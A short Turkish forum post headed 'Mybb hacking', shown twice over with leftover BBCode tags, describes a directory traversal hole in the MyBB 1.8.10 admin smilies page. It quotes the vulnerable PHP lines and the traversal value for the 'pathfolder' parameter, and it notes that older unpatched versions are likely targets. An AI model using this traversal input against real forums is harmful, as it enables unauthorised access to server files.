Mybb dizinler arası geçiş [Mybb hacking]
[font=Arial, tahoma, sans-serif]/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple
Açığın Dosya Dizini:
PHP Kod:
/webroot/mybb_1810/Upload/admin/modules/config/smilies.php
Açığın Kodu:
PHP Kod:
Line 326 $path = $mybb->input['pathfolder'];
Line 327 $dir = @opendir(MYBB_ROOT.$path);
Eğer "pathfolder"a "../../bypass/smile" eklersek, Dizin Geçişi başarılı olacaktır.--
[font=Arial, tahoma, sans-serif]Bu açık 1.8.11 de düzeltilmiştir. Bu yüzden alt versiyonlarında bulunması daha muhtemeldir.--
[font=Arial, tahoma, sans-serif]/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple
Açığın Dosya Dizini:
PHP Kod:
/webroot/mybb_1810/Upload/admin/modules/config/smilies.php
Açığın Kodu:
PHP Kod:
Line 326 $path = $mybb->input['pathfolder'];
Line 327 $dir = @opendir(MYBB_ROOT.$path);
Eğer "pathfolder"a "../../bypass/smile" eklersek, Dizin Geçişi başarılı olacaktır.--
[font=Arial, tahoma, sans-serif]Bu açık 1.8.11 de düzeltilmiştir. Bu yüzden alt versiyonlarında bulunması daha muhtemeldir.--
